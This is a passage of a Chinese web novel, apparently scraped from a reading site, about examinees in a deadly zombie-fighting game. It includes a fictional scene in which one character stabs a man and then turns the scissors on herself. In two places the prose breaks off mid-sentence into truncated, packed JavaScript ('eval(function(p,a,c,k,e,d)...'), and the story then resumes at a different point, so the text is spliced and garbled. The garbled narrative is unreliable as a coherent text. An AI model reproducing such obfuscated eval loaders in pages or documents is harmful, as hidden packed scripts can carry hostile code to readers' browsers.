盛悦抿嘴点头,这确实是目前最可行的方法,只是在她心中,一种微妙的直觉一闪而过,随后很快便消散。 刘折都这个时候了还不忘泼冷水:“哼,灯笼里的火这么小,那么多僵尸怎么烧得光?”一点也不希望这个方法奏效的样子。 陈语圆:“你是真的想变成公公是吧。” 刘折:“……” 盛悦和夏凉互看一眼,交换思绪,二人在此时产生一种莫名的默契。 盛悦短暂地扬了一下唇:“办法怎么没有,游戏在一开始时,不就告诉我们了?” …… 四合院里,除刘折以外的考生们站成一个队伍,气势汹汹,为首的是盛悦和夏凉,陈语圆站在二人的身后,圆脸气鼓鼓的,显得就有点可爱了,然而他们所有人加起来,都不及盛悦一个人散发的气场强。 盛悦受伤的手被短发女生拿撕下来的衣料和厨房里的木板固定了起来,手臂挂在胸前。衣料由男模哥友情赞助,他的黑色上衣,变成了黑色露脐上衣,腹肌暴露在空气里。 盛悦往前走一步:“请问老爷,你这里有没有酒?我们需要拿酒助燃,烧僵尸用。” 崭新的仁老爷站在他们的对面,拧着八字眉,顿时像个被拦住去路强收保护费的小学生。 仁老爷后退一步,表情害怕又有些不情愿:“我、我确实珍藏了一两坛小酒,你们需要的话,这就给你们去拿。”说完在注视下做贼一样地往正房里溜。 一路跑上二楼卧室,停在衣柜面前,仁老爷喘着气往楼梯看了一眼,没有人,轻手轻脚地打开衣柜的门…… “原来您有这么多酒!这叫只藏了一两坛?” 仁老爷猛地回头,拿身体挡住衣柜,就见那名考生队伍为首、一脸恐怖的白衣女生神不知鬼不觉地站在了楼梯旁。 仁老爷对上对方的视线,浑身一颤,叫了出来:“啊!” 你是鬼吗?! 盛悦当作没听到,朝楼梯底端招呼:“大家快上来搬酒吧。” 众人:“来了!” 咚咚咚的脚步声响起。 盛悦喊完走过来,轻轻拨开仁老爷,把他拨得差点跌坐在地上,露出衣柜里的暗格。 一扇门板面积那么大的暗格空间里,层层叠叠摆满了圆滚滚的酒坛! 不错,很符合人设,盛悦看向一旁的仁老爷:“老爷,您可是开酒厂的,肯定不缺这么点酒咯。” 仁老爷站稳身体,虽然强颜欢笑,但比哭还难看,对方一口一个“您”,语气却像是在说:黑心地主,敢反对把你头“拧”掉。 盛悦不再客气,将邪恶的手伸进暗格。 “诶?这个是什么?”眼尖的她一眼发现了藏在酒坛之间的东西,拿出来看,是一个卷轴。 盛悦往后退几步让众人搬酒,单手抖开卷轴看,夏凉和陈语圆也凑过来,看了一眼,说了句这啥啊便离开了,盛悦皱眉,卷轴内只画了一个巨大简陋的椭圆形。 椭圆是空心的,不过说是椭圆也不完全正确,它的两个长边并不是弧线,而是笔直的直线,并且它一条长边的两端还延伸了出来。 有点眼熟,但想不起来像什么。 盛悦想敲一敲自己不清醒的脑袋,可能是十指连心,连思维都迟钝了好多。 男模哥望着手中的酒坛,作为一名蹦迪喝酒爱好者,他没忍住掀开了盖子闻一闻,顿时:“呕!!!这什么味道?!”酒坛差点扔出去。 气味飘出来,弥漫在房间里,众人纷纷皱起眉头。 这哪里是酒,分明是臭尸水! 仁老爷鼻尖擞动,瞳孔有一瞬的放大,露出些贪婪来,随后快速消失,微微别过脸去。 盛悦捏着鼻子凑过去看,这酒水居然是红色的,顿时有种很不好的联想:“老爷,您的品味真独特。” 仁老爷立马挤出笑容,点点头。 盛悦看着他,眯起眼睛。 不到两分钟,暗格里一坛酒不剩,考生们每人身前抱着数只酒坛,满载收获地从楼梯往下走。 低马尾女生此时已经恢复了先前的状态,甚至更开朗了一些,一左一右抱着两只酒坛,默默地跟在大部队中。 想不到就先不想了,但这只卷轴藏在这么隐蔽的地方,说不定是很重要的道具,对游戏通关会有帮助,盛悦把卷轴重新窝起来,插进裤兜,抱起一只酒坛下楼。 走在前面的锡纸烫男突然回过头,殷勤道:“姐,要不要我帮你拿一坛呀?我还腾得出手。” 盛悦被这张近在咫尺的大脸吓了一跳,很嫌弃:“……不必了,你快点走,挡着我了。” 锡纸烫男露出笑容:“哎,好嘞。” 陈语圆:“你怎么不去帮你的好刘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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游戏已经开始,他们加快速度跑出四合院,就见刘折还躺在地上,堵在路口,还打了个喷嚏,估计是躺着凉了。 众人不理他,从他的旁边绕过去,夏凉和陈语圆则从他的身上跨了过去。 一口气跑到正街的中间深度,众人停下,将灯笼和酒坛放在地上,目视前方,可以看到远处,一座高大诡丽的牌楼突兀地矗立着,牌匾上写着金灿灿的三个歪扭大字。 鬼门关。 牌楼藏在黑暗中,有明显的岁月痕迹,配色却依旧鲜艳得令人不适,两边的戗角如同獠牙一般弯弯向上翘起,在黑夜下散发着一股邪气,宛如一座被封印的邪神的墓碑。 盛悦只是远远地看着,就能感到侵入骨髓的恐惧感爬满全身,不是对单种鬼怪的恐惧,而是渺小的人类对整个死后世界的未知恐惧。 而这时,第一具僵尸已经从牌楼里跳了出来,与他们还离着一段距离。 众人不急着杀死它,这种打头阵的小怪已经吓不到他们了,转头去搬剩余的道具。 搬完回来,顺利用桃木剑杀死四具僵尸小怪后,僵尸大军紧接着跳出牌楼。 低吼声和跳步声震耳欲聋,僵尸们杀气腾腾。 考生们目露恐惧,下意识后退,不过相比第一轮时已经有了很大的进步,至少不会呕吐逃跑了。 借助大量的灯笼光,盛悦第一次看清了古街的具体模样,她这才发现,这些僵尸原来一直在沿着地上的方形青石板跳跃前进的,每跳一步,就前进一个方格。 一排九块方石板,一排九具僵尸。 ……怎么也是九? 9. 僵尸小游戏7 她的心中顿时生起一股违和感,僵尸、石板、灯笼,这绝对不会是巧合。 陈语圆同样发现了:“你们看,一二三四……一排石板刚好也是九个,就和咱们考生最开始的人数一样。”说到这里,她的神色黯淡下去。 盛悦:……对啊,他们考生的人数也是九。 短发女生皱眉:“你们有没有觉得,这个小游戏有点像……” 陈语圆:“植物大战僵尸。” 男模哥:“对!我说呢,我也觉得像来着,咱们扮演植物的角色。” 锡纸烫男的卷毛遇水后变成了刺猬头,他挠了挠刺猬头,没看出来。 盛悦听到这里,原本消散了的那种微妙的直觉再次浮现在脑海,并且与违和感融合在一起,越发的强烈。 其实,在盛悦第一轮游戏开始前看道具列表的时候,心中就生出了一种直觉,直觉告诉她要买灯笼,不过不是拿灯笼里的烛火烧僵尸,而就是单纯的用来照明。 也许是自己看了上百本冒险悬疑小说,习惯了咬文嚼字吧,但大红灯笼的介绍“帮助玩家提供照明”,与其他道具的介绍“把僵尸怎么怎么样”都不同,它强调了照明对“考生”的作用,这说明照明在游戏中非常重要。 但是盛悦没有提出来,一是因为三条岔路都黑灯瞎火的,照明当然重要了,不然摸黑杀僵尸难度多大啊。 可哪怕再需要照明,他们也不会把钱用在这之上,因为铜币实在太少了,买杀伤性道具都不够,盛悦就算提议出来,其他人也不可能同意的。 二则是因为当时的他们都不知道靠桃木剑等道具杀僵尸是不可行的,谁能想到他们遵守规则玩游戏,到头来却被规则摆了一道! 还有最重要的一点……这种直觉非常非常的微弱,并且非常不合理,直到现在强烈了许多,盛悦也无法真的相信它,并且去执行它。 此时的夏凉单独站在牌楼的面前,淹没在僵尸大军的间隙里,时刻观察着僵尸大军的位置,目光丝毫不惧,手中握着一张画满咒符的黄纸。 僵尸大军完全跳出牌楼后,她举起符纸念动一段咒语,符纸随着咒语脱离手掌原地升空,红色的咒符如同血液一般流淌出光芒。 当她念完最后一句咒语,黄纸应声碎裂成无数细小的粉尘,融进浓雾中,半空中唯独留下血红色的咒符,在黑暗中依旧明亮鲜艳。 一阵强风沿着咒符扩散,被波及到的僵尸瞬间停止跳动,一动不动定在了原处。 吼叫声停止,古街回归一片寂静。 盛悦领着其余人站在道具旁边,僵尸大军的第一排刚好停在他们的面前。 盛悦远远地看一眼飘在空中的咒符:“时间有限,行动吧。”第一个走上前,抬起脚踹过去,一列僵尸波浪一般地倒到地上。 锡纸烫男:“姐,我也来了。”跟着抬起脚踹。 其余人纷纷用手推倒僵尸,不一会儿,九列僵尸全部躺在了地上,叠在一起,像一张藏青色的巨大地毯。 考生们没有停歇,转而去搬酒坛,夏凉也跑了回来,加入行动。 掀开盖子,将红色的酒液尽数洒到每一具僵尸的身上,腐臭味迅速扩散,竟然比雾气还要浓烈,考生们一边干活一边干呕,呕呕声此起彼伏。 时间一秒一秒流逝着,所有的酒倾洒完毕。现在只差最后一个步骤。 考生们拎起灯笼串小跑着后退,与僵尸隔出一大段距离,随后蹲在地上,从灯笼里面一个一个拆出蜡烛。 盛悦虽然只有一只手能动,但动作非常利落,拆出第一根蜡烛,拿着站起身,身体后仰,一个标准的抛物线投了出去。 蜡烛精准落在一具僵尸的小腿上,沿着酒液顿时冒出一小滩跃动的火焰。 这远远不够,众人手中握着蜡烛,纷纷加入投掷队伍,火焰一小片一小片地形成,最终连在一起,范围越来越大,火焰越来越高,最终形成了一张完整的巨大的火毯,将所有的僵尸淹没其中,将漆黑的古街照得明亮闪烁。 焦糊的气味从远处传过来,考生们眯起被火光刺痛的眼睛,心中忐忑且期待。 拜托了,这次一定要成功啊。 牌楼在火光的映衬下鲜艳欲滴,牌楼的前面,僵尸们发出木材燃烧的吱嘎吱嘎声。 盛悦看着藏青色的身躯们快速变黑,沉下肩,呼出一口气。 因为独来独往太久,她变得有些神经质,思维时常非常跳跃,总是莫名注意到各种奇怪的细节。 看现在的情况,果然是自己想多了。 低马尾女生神情紧绷,光影在她的面庞上闪烁,不到僵尸真正全部被毁的那一刻,她不敢松懈下来。 短发女生搂住她的肩:“放轻松,姑娘,不会有事的,笑一个吧。” 低马尾女生看向盛悦的背影,在火光中闪耀着,明明单薄不已,却让人觉得无比的安全和可靠。她接着看向短发女生,用力挤出一个笑容。 “等等。” 就在这时,夏凉突然皱起眉,奇怪道,“你们看,这火里面好像有东西在发光……” 什么? 盛悦瞬间收回思绪,看过去。 只见火毯上,刺眼舞动的红光之间,依稀遍布着银色的点点碎光。 陈语圆伸长脖子看:“……真的诶,是从僵尸身上发出来的。” “那是什么?”锡纸烫男揉了揉刺痛的眼睛。 不等众人观察明白,夜空中,冰冷的机械女音陡然响起: 【警报!警报!由于特殊道具发挥作用,所有僵尸进入狂暴模式!静止符效用解除!警报!警报!由于特殊道具发挥作用,所有僵尸进入狂暴模式!静止符效用解除!】 异变横生。 在所有人的惊惧之中,半空中已经变得暗红的咒符啪地碎裂成数节,掉落消失,同一时间僵尸们全部直立起来,藏青一块焦黑一块,身上带着燃烧的火焰,大步大步朝考生跳过来! 它们加快了跳动的速度,动作幅度和吼声比之前暴躁了数倍! 考生们惊呼,被逼迫着拼命后退。 夏凉第一时间掏出另一张静止符,后退的同时念咒语,新的咒符刚刚升到空中,就啪的一声,被一股无形的力量震碎。 其余考生被吓一跳。 夏凉:“怎么会这样!” 僵尸携带着火焰快速前进,考生们一时间竟然没能与它们拉开距离,从面对着僵尸后退,变成拔腿狂奔。 “啊啊啊啊啊什么情况啊!姐,我害怕!”锡纸烫男生快哭了,朝盛悦跑近,一边跑一边回头看。 “别怕!成敏,我来保护你!”陈语圆也迈着小碎步跑向盛悦,她双臂张开着,跑在队伍的最后面,与所有人都差了一大截,语气却非常的认真。 盛悦:“……”你是想拿自己喂饱僵尸吗? 夏凉简直没眼看,跑过去,拽着陈语圆往前跑。 男模哥跑出两步,骂了一声,脱下鞋子抓在手里,顿时松快了,一脚浅一脚深地继续跑:“为什么!什么是特殊道具!怎么会这样!救命!”每往前一步,嘴里就蹦出一句话。 而低马尾女生,她完全懵住了,仿佛灵魂已经离体,全靠短发女生拉着她往前跑。 盛悦咬牙,在脑海里回忆到底是哪一步做错了,特殊道具究竟是哪一个…… 是酒?还是灯笼? ……总不能是自己裤兜里的卷轴吧! 她掏出卷轴丢掉,也不管宝不宝贝了,回头看过去,眼神微动。 僵尸们寿衣胸前的图案在火光中一闪一闪,有规律地泛着波浪一样的银光。有几具僵尸已经烧成了全黑,没跳出几步后就栽倒在地,碎成了黑色的渣,被后面的僵尸践踏。 盛悦眉毛一扬,转回头,视线很快锁定前方的一样物品,加速跑过去,甩开粘在旁边的锡纸烫男。 夏凉见盛悦将那只靠墙摆放的破木梯扛了起来,问:“咱们不管仁老爷了吗?” 盛悦拿起木梯,朝僵尸大军跑去:“先管,管不了再逃跑。” 眼看着她离移动的火场越来越近,陈语圆停下来,就要跟着往回跑:“别过去!危险!”被夏凉拉住。 “相信她。”夏凉只说了这三个字。 陈语圆:“……好。”跟着夏凉重新往前,只是不住地回头看。 在众人担忧的注视之下,盛悦已经来到了僵尸身前的两三米处,她停下来,单手一挥,木梯挥舞出了棍棒的效果,一段短促的破空声响起,木梯狠狠砸在一具焦黑的僵尸身上。 彭的一声,僵尸喉咙中的怒吼被猛地打断,身体碎裂成数段,掉落到地上,木梯也瞬间短了一截。 其余人:! 盛悦的猜想得到了证实,对他们喊道:“你们赶紧回四合院里找类似棍棒的武器。”说完又一次将木梯挥舞出去。 考生们接受到指令,连回答都来不及,将所有力气都用在奔跑上,加速往四合院冲赶。 僵尸大军在火焰的吞噬和盛悦的攻击下,数量已经锐减了大半,但粗略数来,仍有二三十具僵尸保持着在阵队里的位置,沿着青石板的方格子,怒吼着朝前跳。 它们离四合院仅剩下不到二十米的距离。 情况危急,但他们还有机会。 僵尸在某种不确定的特殊道具影响下开启了狂暴模式,跳跃速度得到了大幅提升,但同时,他们的 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盛悦回头,锡纸烫男突然从后面窜了出来,一个飞脚蹬在僵尸的腹部,将那具僵尸蹬得朝后飞了出去,砸在身后数米远的两具僵尸身上,三具僵尸叠在一起摔在地上,彻底损坏。 锡纸烫男生:嚯啊,原来自己这么牛的吗! 盛悦更是瞪大了双眼,激动的情绪翻涌而上。 还能这样的! 锡纸烫男得意间又想抬脚踹,却被盛悦一把薅了回来。 后者一边拽着他往前跑,一边弓下腰用力拍打他的裤腿,锡纸烫男疑惑地低头,这才发现自己的裤腿不知什么时候已经窜上了火苗。 “啊!卧槽!”他吓得直跺脚,被盛悦无奈地按住:“别乱动,刚要拍灭你又给它跺回来了。” 他又忙地停下动作,让盛悦处理,幸好发现的及时,再加上事先在衣服上淋了水,皮肤没有被火烫到,但是够他后怕一阵的了,冷汗从后背上流了下来。 盛悦:“你为什么不去找武器?” 锡纸烫男说话没什么底气:“僵尸跳太快了,我怕来不及……” 盛悦:“所以你就急着送死?” 锡纸烫男抬起头,然后低下去:“姐我错了。” 盛悦压下激动的情绪:“你知道就好。” 实际上她感激他还来不及,幸亏他的作死,才让自己终于搞懂了一直以来的疑惑。 “成敏,别怕,我们来了!” 就在这时,一道甜美的声音传过来,二人看过去,是陈语圆和夏凉赶了回来,她们手上各自抓着一只灯架和一只木凳。 夏凉:“这里暂时交给我们,你们快去找武器。” 盛悦点头:“你们当心。”说完朝四合院跑去,锡纸烫男愣了一瞬,跟在后面:“姐,等等我!” 盛悦当然不等他,独自往前。 刚跑到门前几米处时,透过大敞的门板,她看到了院内的情景: 两名女生和仁老爷站在院子中央,混乱地纠缠在一起,似乎是在打架。 ……是低马尾女生和短发女生。 什么? 盛悦眯起眼睛,还以为自己看错了。 这么短的时间内发生了什么事? 她加快速度跑过去,随着距离靠近,院子里的情况变得清晰起来。 只见先前一直沉默文静的低马尾女生像完全变了一个人似的,满脸都是眼泪,口中喋喋不休,看上去激动又愤怒,她时不时怨恨地瞪仁老爷一眼,并不停单方面对着他拳打脚踢。 短发女生完全不知道发生了什么,一只手上还握着从厨房里找来的木棍,她抱着低马尾女生的胳膊,把她往后拉,嘴里说着什么,应该是在安慰她。 而仁老爷,他就站在那里,默不作声地看着低马尾女生,被打了也不还手,只是抬起胳膊挡了几下,表情中有些疑惑和委屈,但更多的是一种说不上来的古怪。 盛悦双脚跨入门槛,同一时间,看到突然发生的事情,她诧异地愣在原地。 低马尾女生突然猛地挣脱开短发女生的手,从背后掏出一把银色的剪刀,正是正房二楼书桌上的那把。 举起来,扑向仁老爷。 她的速度从来没有这么快过,纤瘦矮小的身体爆发出前所未有的强大力量,剪刀直直插进仁老爷的胸膛。 盛悦:“!” 短发女生:“!” 鲜红的液体从剪刀周围溢出,仁老爷登时瞪大了眼睛,向后踉跄着倒去,与低马尾女生一前一后摔在了地上。 10. 僵尸小游戏8 低马尾女生倒在了地上,却没有停止动作,而是跪地拔出剪刀,高高举起,再次捅下去。 她发了疯似地一刀接着一刀,试图把所有积压的情绪全都宣泄出来,血液胡乱飞溅。 短发女生吓蒙了,跌坐在地上,不断后退,浑身都在不可置信地发抖。 为什么…… 为什么这个和她一起参加了两次游戏,善良温柔的女孩会…… 明明就在几分钟前,她还和自己说过,想要通关离开这里,重新好好生活的…… 锡纸烫男这时终于追了上来,嘴巴里刚蹦出一个字,他的表情瞬间变化,不吵了,呆楞在盛悦的身后。 盛悦喉结攒动,小心翼翼地走上前。 低马尾女生见盛悦走过来,立刻抬起头,把剪刀拔出来对准自己的喉咙:“你别过来!” 盛悦停住脚步,语气尽可能的温和:“我不过来,你可以告诉我发生什么事了吗?我们大家一起解决。” 低马尾女生脸上全是血和泪水,每个字都是喊出来的:“你不会明白的,你们都不会明白的!” 盛悦:“你告诉我,我一定会理解你的,你不是说过,想和我们一起通关进入学校吗?我们就快成功了。” 低马尾女生声音软下来,举着剪刀的手落在大腿上,无力地摇头:“我不想通关了……没有任何意义……我在这个世界……也活不下去了……”她抬起头,声音中带着愧疚:“对不起……” 剪刀用力捅进自己的腹部。 时间在这一刻仿佛静止,周围什么声音都听不到了,低马尾女生痛苦地闭上双眼,朝一侧倒下去。 所有人:“!” 盛悦瞪大双眼,冲了过去,她看到低马尾女生把脸转向自己,嘴角有鲜血流淌下来,用唇语无声地说了几个字。 盛悦仿佛被击中,脑袋轰的一声,还没有来得及跑到她的身边,还没来得及为她止血,一旁,仁老爷倒在血泊中无人问津,抽搐间朝天吐了一口血,安静缓慢地闭上眼睛。 周围的光亮再度暗下去,盛悦感觉到自己的感官正在被迅速剥离…… 脑海里思绪杂乱如麻,而耳边只留下冰冷的播报声一遍一遍重复着: 【考生甘欣怡死亡,游戏通关失败。重复,考生甘欣怡死亡,游戏通关失败。】 【当夜,可怜的仁老爷惨死在考生的攻击下。】 【第二轮游戏失败,第三轮游戏正在开启中……】 ……… ……… ……… 吼———吼——— 吼——— 夜色如死潭水一般浓稠,圆月高悬俯瞰着大地,雷鸣滚滚的低吼声与跳步声快速靠近,地上的沙石都在同频震动着,空气里腐烂的臭味浓郁得如同毒瘴。 六名考生站在古街上,平静地看着僵尸大军快速靠近。 他们在短时间内经历了这么多事情后,内心早已变得麻木,再面对潮水般的可怖怪物时,也没有了恐惧的神色。 前方的古街上空整齐地挂着一排排扁圆的大红灯笼,形成了一块长方形的红色区域,灯笼光驱散了浓雾,将这一段古街照得清晰明亮,旁边靠墙倚着一只破木梯。 再前方,是融入黑暗的僵尸大军。 当它们完全跳进灯笼的下方时,盛悦念动符纸中的咒语,僵尸们在一阵风中定格在了原地,时机掐得刚刚好,每具僵尸都站在一块方石板的中央。 盛悦低喝:“行动!” 考生们没有犹豫,立刻冲了出去,两人一组,直直地冲向僵尸队伍。 最后一轮机会,他们没有再用火烧去僵尸。 因为,他们找到了一个更轻松更安全的法子。 每排每列,僵尸彼此间都隔有将近一米的间隙,身体可以灵活地穿梭在其间。 如同集体晨会在方阵中巡逻检查的老师,考生们有的停在僵尸队伍前,有的跑进队伍的深处,区域分工明确。 盛悦径直跑到僵尸队伍的最深处,一旁是同样前进的夏凉。 盛悦行动利落如风,脚步轻快,眼睛飞速浏览,在僵尸们的胸前不断转跳。 灯笼光芒的照耀下,僵尸们寿衣胸前的图案仿佛被点亮一般,图案的内容更加鲜艳清晰,时不时闪动一层银色的波光。 盛悦来到自己负责的区域,发现了第一个目标,三两步跑过去,对夏凉道:“这里找到两具老虎图案的,还差一具!” 不出一秒,夏凉回答:“这里有,我来跟你换!” 盛悦:“好!” 二人齐齐抱起身前的一具僵尸,朝对方的方向交换跑过去。 僵尸虽然尸高马大,但重量意外的轻,就算是力气一般的女生把它抱在手中,也能快步小跑。 盛悦单手把僵尸放置下来,无事发生,同一时间,夏凉将自己手中的僵尸放入空格子里,顿时,以这具僵尸为中点,横着方向的连续三具僵尸齐齐惨哼一声,“彭!”地灰飞烟灭了。 夏凉小小惊讶一瞬,然后迅速恢复冷静,继续投入行动。 男模哥:“这里缺一具白雁的!” 陈语圆:“我这里有!我这里有……艹,我好像搬不动……” 男模哥一瘸一拐地抱着僵尸跑过来:“没关系,我一个人来,你负责帮我找!” 陈语圆:“好!” 新的僵尸搬进空格里,又是“彭!”的一声,一列中的连续三具僵尸化作烟尘。 短发女生和锡纸烫男这边,后者年纪轻轻就老眼昏花,严重拖慢整组的进度,二人半天才终于消灭掉三具棕熊图案的僵尸,惹得短发女生面露不满。 锡纸烫男抹一把额头上的汗,甩到地上:“不愧是我姐,这种方法都能想得到。” 几分钟前她把推论解释给大家听的时候,他还以为自己新跟的这个姐也扛不住压力疯了,还宽声安慰她没关系不要急来着。 游戏开始,最前面的四具僵尸单独跳过来时,新人姐为众人展示了自己推论的依据,其他人都信了,只有他还不太相信。 直到现在……锡纸烫男叹一声气,他只能说,好吧,还得是她新人姐。 短发女生皱眉:“你别再偷懒了,静止符只有五分钟的时间。” 锡纸烫男抹了一把脸:“……好。”继续行动,但动作还是慢吞吞的。 短发女生:“……你再这么消极怠工,我就跟你姐告状去。” 锡纸烫男:“别!”立马加快速度。 短发女生:“……” 俯瞰整只僵尸队伍,就可以看到考生们如同勤劳的小蜜蜂一般,不停地搬运来搬运去,接连不断有僵尸或横排或竖列,三个三个的同时消失,“嘭嘭”声此起彼伏。 不过两分钟,盛悦和夏凉已经完成了自己的区域,看向一旁,短发女生和锡纸烫男的进度过于落后了,便过去帮忙。 短发女生甩了甩酸麻的胳膊,想休息一会儿,此时脑海中又浮现出那名女生轻轻微笑时的模样,她鼻子一酸,揉了揉眼睛,咬牙继续搬僵尸。 男模哥消灭完一组青色犀牛图案的僵尸,抽空看一眼悬在半空中的血红色咒符,颜色淡了一些,赶紧加快行动。 时间快速流逝着,咒符一点一点变暗。 同时,僵尸数量在考生们共同的努力下不断减少。 盛悦的动作片刻不停,试图分散自己的注意力。 她懊恼不已,从一开始,她就应该相信自己的直觉,从一开始,她就应该排除万难,坚持执行自己的直觉。 可惜,时间是无法倒退的,没有什么应该和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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消消乐是可行的,用火烧也是可行的,前者需要考生对信息的高度掌握,方法轻松安全很多,而后者则更加简单粗暴,绝大部分考生都能想得到,只不过需要用到火,危险性较高。 它们是两种通关游戏的方式。 大量的齑粉散落在古街上,一阵风吹过后,便消失大半,迷雾也随风消散了,空气从没有如此清新过。 盛悦和夏凉搬完最后一组僵尸,随着彭的一声在寂静的古街中不断回荡,僵尸大军全部消灭成功。 众人接连瘫坐到地上,喘着气面面相觑,当压在心中的重担终于落下后,他们没有激动,反而很茫然,有种“这就结束了?”的感受,只有锡纸烫男咧着嘴在那里傻笑:“太好了!我们终于可以离开了!” 男模哥:“靠腰嘞……这次的游戏我一辈子都忘不掉了……当然,如果我还能有一辈子的话。” 陈语圆:“你别说这么晦气的话,快呸呸呸。” 男模哥连续呸了三声。 夏凉拍了拍盛悦的肩头,随后直接躺在了地上,用手臂挡住眼睛,浑身透露着如释重负与疲惫。 陈语圆爬了过来,趴在夏凉的身上,被对方一只手搂住腰。 盛悦嘴唇惨白,胸膛起伏,身上还穿着低马尾女生给的防晒服外套,此时她是唯一站着的人,显得很不合群。看着满地的人,她表情有些抗拒。 陈语圆看向她:“成敏,你不累吗,快坐下来休息休息吧,要不我扶你坐……” 她话还没说完,盛悦坐了下来。 她合群,她合群就是了。 这时,夜空中久违的沙沙声响起。 众人抬头看天,灯笼们像一块红纱,覆盖在古街上空,夜空在两侧古楼的遮挡下形成一道笔直的天河,天河中有点点星光闪烁。 播报终于没有为大家带来死亡的消息,机械女音如同游戏刚开始时那般,不疾不徐,没有任何感情。 【恭喜七名考生成功通关科目一考试:随机小游戏,请回到游戏初始地点领取奖励。】 什么? 众人愣住。 这只是……科目一?